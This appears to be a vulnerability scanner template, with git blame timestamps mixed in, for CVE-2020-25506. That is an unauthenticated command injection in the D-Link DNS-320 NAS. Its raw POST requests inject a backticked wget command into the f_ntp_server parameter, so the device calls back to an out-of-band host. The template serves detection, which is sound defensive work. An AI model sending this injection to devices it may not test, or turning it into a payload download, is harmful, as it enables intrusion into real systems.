2021-07-15 05:28:14 +00:00
id : CVE-2020-25506
info :
name : D-Link DNS-320 - Unauthenticated Remote Code Execution
author : gy741
severity : critical
description : The exploit targets a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
2021-08-18 11:37:49 +00:00
reference :
2021-07-15 05:28:14 +00:00
- https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
- https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
2021-10-18 20:40:26 +00:00
tags : cve,cve2020,dlink,rce,oast
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.80
cve-id : CVE-2020-25506
cwe-id : CWE-78
2021-07-15 05:28:14 +00:00
requests :
- raw :
- |
POST /cgi-bin/system_mgr.cgi? HTTP/1.1
Host : {{Hostname}}
Accept : */*
C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}`
- |
POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`wget http://{{interactsh-url}}` HTTP/1.1
Host : {{Hostname}}
Accept : */*
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"